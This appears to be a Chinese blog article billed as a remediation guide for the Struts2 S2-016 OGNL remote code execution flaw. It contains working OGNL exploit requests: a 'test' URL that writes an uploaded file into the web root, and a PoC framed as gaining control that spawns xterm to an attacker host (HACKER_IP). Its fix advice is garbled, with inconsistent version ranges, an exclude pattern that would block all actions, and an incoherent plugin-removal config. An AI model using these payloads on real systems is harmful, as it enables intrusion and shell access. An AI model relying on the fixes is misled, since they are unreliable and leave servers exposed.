Struts2 S2-016漏洞修复总结

Struts2 S2-016漏洞修复总结

概述

Struts2 S2-016是一种影响Struts框架的远程代码执行漏洞。攻击者可以通过构造恶意的OGNL表达式,在未经授权的情况下,远程执行任意代码。该漏洞影响Struts2版本2.0.0-2.3.15,2.3.16-2.3.28。

漏洞修复方法

确认是否受到漏洞影响

首先,需要确认目标服务器是否受到该漏洞的影响。可以通过向服务器发送如下请求进行测试:

/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%22multipart/form-data%22%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29%2C%23c%3D%23req.getSession%28%29%2C%23s%3D%23c.getServletContext%28%29%2C%23b%3D%23s.getRealPath%28%22%2F%22%29%2B%23parameters.obj[0].getFileName%28%29%2C%23fos%3Dnew%20java.io.FileOutputStream%28%23b%29%2C%23fos.write%28%23parameters.obj[0].getBytes%28%29%29%2C%23fos.close%28%29%2C%23f%3Dnew%20java.io.File%28%23b%29%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23res.getWriter%28%29.print%28%23f.exists%28%29%29%2C%23res.getWriter%28%29.flush%28%29%2C%23res.getWriter%28%29.close%28%29%29%7D/someNamespace/hello.action?obj=123

如果返回结果中包含“true”,则表示目标服务器存在漏洞。

升级Struts2版本

在确认受到漏洞影响后,最好的修复方法是升级Struts2版本。Struts2官方在修复该漏洞时,推荐用户升级至2.3.29版本。

配置安全策略文件

如果不能升级Struts2版本,也可以通过配置安全策略文件进行修复。具体来说,需要向struts.xml文件中添加如下配置:

<constant name="struts.action.excludePattern" value="\.action$"/>

该配置将阻止请求以“.action”结尾的Action。

移除Struts2-JSON插件

在一些特殊情况下,还需要移除Struts2-JSON插件,通过添加如下配置进行移除:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

该配置将移除Struts2-JSON插件,避免了由此引发的漏洞。

示例

示例一

假设一个漏洞的目标程序是一个Struts2应用,可以查看该应用的struts.xml文件,看看是否已经添加了上述的修复措施。可以按照如下步骤进行修复:

1.在Struts2应用的struts.xml文件中检查配置,确保添加了安全策略配置。如下:

<constant name="struts.action.excludePattern" value="\.action$"/>

2.移除Struts2-JSON插件。如下:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

3.将Struts2升级至最新版本,确认漏洞已被修复。

示例二

假设一个漏洞的目标程序是一个Struts2应用,应用的版本为2.3.16.1。目标是构建一个POC以检测该应用,以便利用漏洞来取得控制权。可以按照如下步骤构建POC:

1.在本地安装一个Apache Tomcat服务器,并将目标应用部署到该服务器上。

2.构建POC文件,并通过Web浏览器向目标服务器发送请求:

$ echo "%{(new java.lang.ProcessBuilder(new java.lang.String[]{'curl','-d','Content-Type:%20multipart/form-data;%20boundary=singlequotes','%20-F',%20'singlequotes=%22%24%7bsystem(%27id%27)%7d%22',%20-X,%20'POST',%20'http://your-ip/rest/any/path'}).start()).start()}" | perl -MURI::Escape -ne 'print uri_escape($_)' | xargs -I{}

curl "http://target-host:8080/struts2-blank/example/X.action?redirect:%24%7b%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue,%23a%3D%22multipart/form-data%22,%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29,%23c%3D%23req.getSession%28%29,%23s%3D%23c.getServletContext%28%29,%23w%3D%23s.getRealPath%28%22/W.html%22%29,%23fos%20%3D%20new%20java.io.FileOutputStream%28%23w%29,%23fos.write%28%23parameters.singlequotes.getBytes()%29,%23fos.close%28%29,%23proc%3Dnew%20java.lang.ProcessBuilder%28new%20java.lang.String[]%7B%22xterm%22,%22-display%22,%22HACKER_IP:0%22%7D%29,%23proc.redirectErrorStream%28true%29,%23p%3D%23proc.start%28%29,%23q%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28%23p.getInputStream%28%29%29%29,%23s%3Dnew%20java.lang.StringBuffer%28%29,%23w%3Dnew%20char%5B1024%5D,%23ch%3D0%0A%20%20%20%20%20%20%20%20%20%20%20%20while%20%28%28%23ch%3D%23q.read%28%23w%29%29%20%3E%200%29%20%7B%23s.append%28%23w%2C0%2C%23ch%29%3B%7D%20%23%23%23THIS%20IS%20THE%20COMMAND%20OUTPUT%20FROM%20OUR%20PROCESS%20%23%23%23,%23q.close%28%29%7D&singlequotes={}" -H "Content-Type: multipart/form-data; boundary=singlequotes" -v

3.如果返回结果中包含攻击者想要的数据,说明POC构造成功,可以用此方法漏洞得到攻击。

结论

对于Struts2 S2-016漏洞来说,修复方法包含升级Struts2版本、配置安全策略文件、移除Struts2-JSON插件等。在实际操作中,应该根据具体情况采取相应的修复方法。同时,应当定期检查Struts2应用程序的漏洞情况,保证安全的运行环境。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Struts2 S2-016漏洞修复总结 - Python技术站

(0)
上一篇 2023年5月20日
下一篇 2023年5月20日

相关文章

  • 详解如何在Java中加密和解密zip文件

    详解如何在Java中加密和解密zip文件 概述 在Java中,我们可以使用ZipOutputStream和ZipInputStream来压缩和解压缩zip文件,同时,我们可以通过加密和解密zip文件来保护文件的数据安全,确保只有授权用户可以访问zip文件的内容。本文将详细讲解如何在Java中加密和解密zip文件,并提供两个示例代码方便理解。 加密zip文件 …

    Java 2023年5月26日
    00
  • SpringBoot2整合Drools规则引擎及案例详解

    Spring Boot 2整合Drools规则引擎及案例详解可以分为以下几个步骤: 第一步:引入Drools依赖 在pom.xml文件中引入Drools的依赖: <dependency> <groupId>org.drools</groupId> <artifactId>drools-core</arti…

    Java 2023年5月19日
    00
  • 详解SpringBoot 快速整合MyBatis(去XML化)

    我来详细讲解“详解SpringBoot快速整合MyBatis(去XML化)”的完整攻略。 添加依赖 在 pom.xml 文件中添加如下依赖: <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-bo…

    Java 2023年5月20日
    00
  • Java中Volatile关键字详解及代码示例

    一、什么是Volatile? Volatile是Java中的一种轻量级的同步机制,用于解决多线程并发访问共享变量时的可见性问题,它保证了对变量的修改能够被立即,且正确的读取到。Volatile在Java内存模型中的作用是用来保证线程间数据的可见性。 二、Volatile关键字的使用 声明Volatile变量 Volatile变量的声明格式为:volatile…

    Java 2023年5月28日
    00
  • 关于log4j2的异步日志输出方式

    很高兴为您讲解关于log4j2的异步日志输出方式的攻略。Log4j2是一个广泛使用的日志框架,可以帮助我们记录应用程序运行期间的各种信息。由于日志信息通常很多,因此异步日志输出非常有必要,以提高日志输出的性能。下面是详细攻略: 异步日志输出方式 Log4j2的异步日志输出方式包括以下几个步骤: 创建异步日志Appender 指定日志输出到异步Appender…

    Java 2023年5月20日
    00
  • SpringBoot集成Mybatis+xml格式的sql配置文件操作

    下面是SpringBoot集成Mybatis+xml格式的sql配置文件操作的完整攻略: 首先,在 pom.xml 文件中添加 Mybatis 和 Mybatis-SpringBoot-Starter 的依赖: <dependency> <groupId>org.mybatis</groupId> <artifact…

    Java 2023年6月1日
    00
  • 下载远程maven仓库的jar 手动放到本地仓库详细操作

    下面是下载远程maven仓库的jar并手动放到本地仓库的完整攻略。 前提条件 必须具备maven环境,安装教程可参考官方文档:Apache Maven 官方文档 已知需要下载的远程maven仓库地址 下载远程jar包并手动放到本地仓库 打开终端或命令行工具 使用以下命令下载远程maven仓库的jar mvn dependency:get -Dartifact…

    Java 2023年5月20日
    00
  • Java利用LocalDate类实现日历设计

    Java利用LocalDate类实现日历设计 简介 Java 8引入了一个新的API——java.time包,其中包含LocalDate类。LocalDate类提供了一些强大的工具用于日历的处理和操作。在本篇文章中,我们将详细讲解如何使用LocalDate类实现日历设计。 步骤 创建LocalDate对象 在Java中,我们可以使用LocalDate类创建一…

    Java 2023年5月20日
    00
合作推广
合作推广
分享本页
返回顶部